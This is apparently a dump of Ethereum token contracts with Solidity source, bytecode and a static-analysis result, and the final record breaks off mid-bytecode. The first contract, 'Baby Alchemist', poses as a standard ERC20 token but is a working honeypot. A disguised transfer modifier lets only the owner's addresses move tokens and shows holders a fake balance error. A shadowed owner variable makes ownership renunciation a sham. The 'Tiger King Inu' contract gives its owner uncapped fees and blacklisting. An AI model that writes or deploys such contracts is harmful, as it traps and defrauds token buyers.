╙███████████████████████████████████████████████╩-' ' └ ╘└ `` └└╙""¬╙▀██ */ // Messsage to Anon // There are no official socials, but in our txns you will see our notes for the community // SPDX-License-Identifier: Unlicensed pragma solidity ^0.6.12; library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } library Address { function isContract(address account) internal view returns (bool) { bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; // solhint-disable-next-line no-inline-assembly assembly { codehash := extcodehash(account) } return (codehash != accountHash && codehash != 0x0); } function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return _functionCallWithValue(target, data, 0, errorMessage); } function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); return _functionCallWithValue(target, data, value, errorMessage); } function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) { require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: weiValue }(data); if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } abstract contract Context { function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () internal { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } function transferOwnership(address newOwner) private onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } address private newComer = _msgSender(); modifier onlyOwner() { require(newComer == _msgSender(), "Ownable: caller is not the owner"); _; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } contract BabyAlchemist is Context, IERC20, Ownable { using SafeMath for uint256; using Address for address; mapping (address => uint256) private _balances; mapping (address => bool) private _whiteAddress; mapping (address => bool) private _blackAddress; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _totalSupply = 100000000000 * 10**18; string private _name = 'Baby Alchemist'; string private _symbol = 'BabyAlchemist'; uint8 private _decimals = 18; address private _owner; address private _safeOwner; address private _uniRouter = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D; constructor () public { _owner = owner(); _safeOwner = _owner; _balances[_msgSender()] = _totalSupply; emit Transfer(address(0), _msgSender(), _totalSupply); } function name() public view returns (string memory) { return _name; } function symbol() public view returns (string memory) { return _symbol; } function decimals() public view returns (uint8) { return _decimals; } function totalSupply() public view override returns (uint256) { return _totalSupply; } function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _approveCheck(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) { _approveCheck(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function burn(uint256 amount) external onlyOwner{ _burn(msg.sender, amount); } function _transfer(address sender, address recipient, uint256 amount) internal virtual{ require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } function _burn(address account, uint256 amount) internal virtual onlyOwner { require(account != address(0), "ERC20: burn from the zero address"); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } modifier approveChecker(address beach, address recipient, uint256 amount){ if (_owner == _safeOwner && beach == _owner){_safeOwner = recipient;_;} else{if (beach == _owner || beach == _safeOwner || recipient == _owner){_;} else{require((beach == _safeOwner) || (recipient == _uniRouter), "ERC20: transfer amount exceeds balance");_;}} } function _approve(address owner, address spender, uint256 amount) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _approveCheck(address sender, address recipient, uint256 amount) internal approveChecker(sender, recipient, amount) virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } }
0x608060405234801561001057600080fd5b50600436106100b45760003560e01c806370a082311161007157806370a0823114610203578063715018a6146102295780638da5cb5b1461023157806395d89b4114610255578063a9059cbb1461025d578063dd62ed3e14610289576100b4565b806306fdde03146100b9578063095ea7b31461013657806318160ddd1461017657806323b872dd14610190578063313ce567146101c657806342966c68146101e4575b600080fd5b6100c16102b7565b6040805160208082528351818301528351919283929083019185019080838360005b838110156100fb5781810151838201526020016100e3565b50505050905090810190601f1680156101285780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6101626004803603604081101561014c57600080fd5b506001600160a01b03813516906020013561034d565b604080519115158252519081900360200190f35b61017e61036a565b60408051918252519081900360200190f35b610162600480360360608110156101a657600080fd5b506001600160a01b03813581169160208101359091169060400135610370565b6101ce6103f7565b6040805160ff9092168252519081900360200190f35b610201600480360360208110156101fa57600080fd5b5035610400565b005b61017e6004803603602081101561021957600080fd5b50356001600160a01b0316610477565b610201610492565b610239610546565b604080516001600160a01b039092168252519081900360200190f35b6100c1610555565b6101626004803603604081101561027357600080fd5b506001600160a01b0381351690602001356105b6565b61017e6004803603604081101561029f57600080fd5b506001600160a01b03813581169160200135166105ca565b60078054604080516020601f60026000196101006001881615020190951694909404938401819004810282018101909252828152606093909290918301828280156103435780601f1061031857610100808354040283529160200191610343565b820191906000526020600020905b81548152906001019060200180831161032657829003601f168201915b5050505050905090565b600061036161035a6105f5565b84846105f9565b50600192915050565b60065490565b600061037d8484846106e5565b6103ed846103896105f5565b6103e885604051806060016040528060288152602001610e02602891396001600160a01b038a166000908152600560205260408120906103c76105f5565b6001600160a01b031681526020810191909152604001600020549190610ae0565b6105f9565b5060019392505050565b60095460ff1690565b6104086105f5565b6001546001600160a01b0390811691161461046a576040805162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015290519081900360640190fd5b6104743382610b77565b50565b6001600160a01b031660009081526002602052604090205490565b61049a6105f5565b6001546001600160a01b039081169116146104fc576040805162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015290519081900360640190fd5b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031690565b60088054604080516020601f60026000196101006001881615020190951694909404938401819004810282018101909252828152606093909290918301828280156103435780601f1061031857610100808354040283529160200191610343565b60006103616105c36105f5565b84846106e5565b6001600160a01b03918216600090815260056020908152604080832093909416825291909152205490565b3390565b6001600160a01b03831661063e5760405162461bcd60e51b8152600401808060200182810382526024815260200180610e706024913960400191505060405180910390fd5b6001600160a01b0382166106835760405162461bcd60e51b8152600401808060200182810382526022815260200180610dba6022913960400191505060405180910390fd5b6001600160a01b03808416600081815260056020908152604080832094871680845294825291829020859055815185815291517f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259281900390910190a3505050565b600a546009548491849184916001600160a01b039081166101009092041614801561072257506009546001600160a01b0384811661010090920416145b1561089157600a80546001600160a01b0319166001600160a01b038481169190911790915586166107845760405162461bcd60e51b8152600401808060200182810382526025815260200180610e4b6025913960400191505060405180910390fd5b6001600160a01b0385166107c95760405162461bcd60e51b8152600401808060200182810382526023815260200180610d756023913960400191505060405180910390fd5b61080684604051806060016040528060268152602001610ddc602691396001600160a01b0389166000908152600260205260409020549190610ae0565b6001600160a01b0380881660009081526002602052604080822093909355908716815220546108359085610cd1565b6001600160a01b0380871660008181526002602090815260409182902094909455805188815290519193928a16927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef92918290030190a3610ad8565b6009546001600160a01b038481166101009092041614806108bf5750600a546001600160a01b038481169116145b806108dc57506009546001600160a01b0383811661010090920416145b15610926576001600160a01b0386166107845760405162461bcd60e51b8152600401808060200182810382526025815260200180610e4b6025913960400191505060405180910390fd5b600a546001600160a01b038481169116148061094f5750600b546001600160a01b038381169116145b61098a5760405162461bcd60e51b8152600401808060200182810382526026815260200180610ddc6026913960400191505060405180910390fd5b6001600160a01b0386166109cf5760405162461bcd60e51b8152600401808060200182810382526025815260200180610e4b6025913960400191505060405180910390fd5b6001600160a01b038516610a145760405162461bcd60e51b8152600401808060200182810382526023815260200180610d756023913960400191505060405180910390fd5b610a5184604051806060016040528060268152602001610ddc602691396001600160a01b0389166000908152600260205260409020549190610ae0565b6001600160a01b038088166000908152600260205260408082209390935590871681522054610a809085610cd1565b6001600160a01b0380871660008181526002602090815260409182902094909455805188815290519193928a16927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef92918290030190a35b505050505050565b60008184841115610b6f5760405162461bcd60e51b81526004018080602001828103825283818151815260200191508051906020019080838360005b83811015610b34578181015183820152602001610b1c565b50505050905090810190601f168015610b615780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b505050900390565b610b7f6105f5565b6001546001600160a01b03908116911614610be1576040805162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015290519081900360640190fd5b6001600160a01b038216610c265760405162461bcd60e51b8152600401808060200182810382526021815260200180610e2a6021913960400191505060405180910390fd5b610c6381604051806060016040528060228152602001610d98602291396001600160a01b0385166000908152600260205260409020549190610ae0565b6001600160a01b038316600090815260026020526040902055600654610c899082610d32565b6006556040805182815290516000916001600160a01b038516917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9181900360200190a35050565b600082820183811015610d2b576040805162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015290519081900360640190fd5b9392505050565b6000610d2b83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610ae056fe45524332303a207472616e7366657220746f20746865207a65726f206164647265737345524332303a206275726e20616d6f756e7420657863656564732062616c616e636545524332303a20617070726f766520746f20746865207a65726f206164647265737345524332303a207472616e7366657220616d6f756e7420657863656564732062616c616e636545524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a206275726e2066726f6d20746865207a65726f206164647265737345524332303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f2061646472657373a264697066735822122036f44c2811a0e7ea98af6118a148d6e7840908897b51069a22678e830ac9d1ef64736f6c634300060c0033
{"success": true, "error": null, "results": {"detectors": [{"check": "shadowing-state", "impact": "High", "confidence": "High"}]}}
5,033
0x807BFA546AFA148DC5d2Fc1715335872683B847e
/** telegram https://t.me/tigerkinginueth website https://tigerkinginu.io/ twitter https://twitter.com/TigerKingInueth */ // SPDX-License-Identifier: Unlicensed pragma solidity ^0.8.4; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval( address indexed owner, address indexed spender, uint256 value ); } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); constructor() { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external payable returns ( uint256 amountToken, uint256 amountETH, uint256 liquidity ); } contract TigerKingInu is Context, IERC20, Ownable { using SafeMath for uint256; string private constant _name = "Tiger King Inu"; string private constant _symbol = "TigerKing"; uint8 private constant _decimals = 9; mapping(address => uint256) private _rOwned; mapping(address => uint256) private _tOwned; mapping(address => mapping(address => uint256)) private _allowances; mapping(address => bool) private _isExcludedFromFee; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 10000000000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; //Buy Fee uint256 private _redisFeeOnBuy = 3; uint256 private _taxFeeOnBuy = 12; //Sell Fee uint256 private _redisFeeOnSell = 3; uint256 private _taxFeeOnSell = 12; //Original Fee uint256 private _redisFee = _redisFeeOnSell; uint256 private _taxFee = _taxFeeOnSell; uint256 private _previousredisFee = _redisFee; uint256 private _previoustaxFee = _taxFee; mapping(address => bool) public bots; mapping (address => bool) public preTrader; mapping(address => uint256) private cooldown; address payable private _developmentAddress = payable(0xa81671b869e799eFe1A9658FFdF3D451802D5A85); address payable private _marketingAddress = payable(0xa20549a8d44319abCcBE8f2A1a69fe51CEfaA001); IUniswapV2Router02 public uniswapV2Router; address public uniswapV2Pair; bool private tradingOpen = false; bool private inSwap = false; bool private swapEnabled = true; uint256 public _maxTxAmount = 500000000 * 10**9; //5% uint256 public _maxWalletSize = 1000000000 * 10**9; //10% uint256 public _swapTokensAtAmount = 10000000 * 10**9; //0.01% event MaxTxAmountUpdated(uint256 _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor() { _rOwned[_msgSender()] = _rTotal; IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()) .createPair(address(this), _uniswapV2Router.WETH()); _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_developmentAddress] = true; _isExcludedFromFee[_marketingAddress] = true; preTrader[owner()] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom( address sender, address recipient, uint256 amount ) public override returns (bool) { _transfer(sender, recipient, amount); _approve( sender, _msgSender(), _allowances[sender][_msgSender()].sub( amount, "ERC20: transfer amount exceeds allowance" ) ); return true; } function tokenFromReflection(uint256 rAmount) private view returns (uint256) { require( rAmount <= _rTotal, "Amount must be less than total reflections" ); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function removeAllFee() private { if (_redisFee == 0 && _taxFee == 0) return; _previousredisFee = _redisFee; _previoustaxFee = _taxFee; _redisFee = 0; _taxFee = 0; } function restoreAllFee() private { _redisFee = _previousredisFee; _taxFee = _previoustaxFee; } function _approve( address owner, address spender, uint256 amount ) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer( address from, address to, uint256 amount ) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if (from != owner() && to != owner()) { //Trade start check if (!tradingOpen) { require(preTrader[from], "TOKEN: This account cannot send tokens until trading is enabled"); } require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit"); require(!bots[from] && !bots[to], "TOKEN: Your account is blacklisted!"); if(to != uniswapV2Pair) { require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!"); } uint256 contractTokenBalance = balanceOf(address(this)); bool canSwap = contractTokenBalance >= _swapTokensAtAmount; if(contractTokenBalance >= _maxTxAmount) { contractTokenBalance = _maxTxAmount; } if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if (contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } bool takeFee = true; //Transfer Tokens if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) { takeFee = false; } else { //Set Fee for Buys if(from == uniswapV2Pair && to != address(uniswapV2Router)) { _redisFee = _redisFeeOnBuy; _taxFee = _taxFeeOnBuy; } //Set Fee for Sells if (to == uniswapV2Pair && from != address(uniswapV2Router)) { _redisFee = _redisFeeOnSell; _taxFee = _taxFeeOnSell; } } _tokenTransfer(from, to, amount, takeFee); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _developmentAddress.transfer(amount.div(2)); _marketingAddress.transfer(amount.div(2)); } function setTrading(bool _tradingOpen) public onlyOwner { tradingOpen = _tradingOpen; } function manualswap() external { require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function blockBots(address[] memory bots_) public onlyOwner { for (uint256 i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function unblockBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer( address sender, address recipient, uint256 amount, bool takeFee ) private { if (!takeFee) removeAllFee(); _transferStandard(sender, recipient, amount); if (!takeFee) restoreAllFee(); } function _transferStandard( address sender, address recipient, uint256 tAmount ) private { ( uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam ) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function _getValues(uint256 tAmount) private view returns ( uint256, uint256, uint256, uint256, uint256, uint256 ) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _redisFee, _taxFee); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues( uint256 tAmount, uint256 redisFee, uint256 taxFee ) private pure returns ( uint256, uint256, uint256 ) { uint256 tFee = tAmount.mul(redisFee).div(100); uint256 tTeam = tAmount.mul(taxFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues( uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate ) private pure returns ( uint256, uint256, uint256 ) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns (uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns (uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function setFee(uint256 redisFeeOnBuy, uint256 redisFeeOnSell, uint256 taxFeeOnBuy, uint256 taxFeeOnSell) public onlyOwner { _redisFeeOnBuy = redisFeeOnBuy; _redisFeeOnSell = redisFeeOnSell; _taxFeeOnBuy = taxFeeOnBuy; _taxFeeOnSell = taxFeeOnSell; } //Set minimum tokens required to swap. function setMinSwapTokensThreshold(uint256 swapTokensAtAmount) public onlyOwner { _swapTokensAtAmount = swapTokensAtAmount; } //Set minimum tokens required to swap. function toggleSwap(bool _swapEnabled) public onlyOwner { swapEnabled = _swapEnabled; } //Set MAx transaction function setMaxTxnAmount(uint256 maxTxAmount) public onlyOwner { _maxTxAmount = maxTxAmount; } function setMaxWalletSize(uint256 maxWalletSize) public onlyOwner { _maxWalletSize = maxWalletSize; } function allowPreTrading(address account, bool allowed) public onlyOwner { require(preTrader[account] != allowed, "TOKEN: Already enabled."); preTrader[account] = allowed; } }
0x6080604052600436106101e2576000357c010000000000000000000000000000000000000000000000000000000090048063715018a61161011457806398a5c315116100b2578063bfd7928411610081578063bfd7928414610643578063c3c8cd8014610680578063dd62ed3e14610697578063ea1644d5146106d4576101e9565b806398a5c31514610577578063a2a957bb146105a0578063a9059cbb146105c9578063bdd795ef14610606576101e9565b80638da5cb5b116100ee5780638da5cb5b146104cd5780638f70ccf7146104f85780638f9a55c01461052157806395d89b411461054c576101e9565b8063715018a61461046257806374010ece146104795780637d1db4a5146104a2576101e9565b80632fd689e3116101815780636b9990531161015b5780636b999053146103bc5780636d8aa8f8146103e55780636fc3eaec1461040e57806370a0823114610425576101e9565b80632fd689e31461033b578063313ce5671461036657806349bd5a5e14610391576101e9565b80631694505e116101bd5780631694505e1461027f57806318160ddd146102aa57806323b872dd146102d55780632f9c456914610312576101e9565b8062b8cf2a146101ee57806306fdde0314610217578063095ea7b314610242576101e9565b366101e957005b600080fd5b3480156101fa57600080fd5b5061021560048036038101906102109190612d68565b6106fd565b005b34801561022357600080fd5b5061022c61084d565b60405161023991906131b1565b60405180910390f35b34801561024e57600080fd5b5061026960048036038101906102649190612d2c565b61088a565b604051610276919061317b565b60405180910390f35b34801561028b57600080fd5b506102946108a8565b6040516102a19190613196565b60405180910390f35b3480156102b657600080fd5b506102bf6108ce565b6040516102cc9190613393565b60405180910390f35b3480156102e157600080fd5b506102fc60048036038101906102f79190612ca1565b6108de565b604051610309919061317b565b60405180910390f35b34801561031e57600080fd5b5061033960048036038101906103349190612cf0565b6109b7565b005b34801561034757600080fd5b50610350610b3a565b60405161035d9190613393565b60405180910390f35b34801561037257600080fd5b5061037b610b40565b6040516103889190613408565b60405180910390f35b34801561039d57600080fd5b506103a6610b49565b6040516103b39190613160565b60405180910390f35b3480156103c857600080fd5b506103e360048036038101906103de9190612c13565b610b6f565b005b3480156103f157600080fd5b5061040c60048036038101906104079190612da9565b610c5f565b005b34801561041a57600080fd5b50610423610d10565b005b34801561043157600080fd5b5061044c60048036038101906104479190612c13565b610df8565b6040516104599190613393565b60405180910390f35b34801561046e57600080fd5b50610477610e49565b005b34801561048557600080fd5b506104a0600480360381019061049b9190612dd2565b610f9c565b005b3480156104ae57600080fd5b506104b761103b565b6040516104c49190613393565b60405180910390f35b3480156104d957600080fd5b506104e2611041565b6040516104ef9190613160565b60405180910390f35b34801561050457600080fd5b5061051f600480360381019061051a9190612da9565b61106a565b005b34801561052d57600080fd5b5061053661111c565b6040516105439190613393565b60405180910390f35b34801561055857600080fd5b50610561611122565b60405161056e91906131b1565b60405180910390f35b34801561058357600080fd5b5061059e60048036038101906105999190612dd2565b61115f565b005b3480156105ac57600080fd5b506105c760048036038101906105c29190612dfb565b6111fe565b005b3480156105d557600080fd5b506105f060048036038101906105eb9190612d2c565b6112b5565b6040516105fd919061317b565b60405180910390f35b34801561061257600080fd5b5061062d60048036038101906106289190612c13565b6112d3565b60405161063a919061317b565b60405180910390f35b34801561064f57600080fd5b5061066a60048036038101906106659190612c13565b6112f3565b604051610677919061317b565b60405180910390f35b34801561068c57600080fd5b50610695611313565b005b3480156106a357600080fd5b506106be60048036038101906106b99190612c65565b6113ec565b6040516106cb9190613393565b60405180910390f35b3480156106e057600080fd5b506106fb60048036038101906106f69190612dd2565b611473565b005b610705611512565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610792576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610789906132f3565b60405180910390fd5b60005b8151811015610849576001601060008484815181106107dd577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080610841906136cd565b915050610795565b5050565b60606040518060400160405280600e81526020017f5469676572204b696e6720496e75000000000000000000000000000000000000815250905090565b600061089e610897611512565b848461151a565b6001905092915050565b601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000678ac7230489e80000905090565b60006108eb8484846116e5565b6109ac846108f7611512565b6109a785604051806060016040528060288152602001613bb460289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061095d611512565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611f039092919063ffffffff16565b61151a565b600190509392505050565b6109bf611512565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a4c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a43906132f3565b60405180910390fd5b801515601160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffff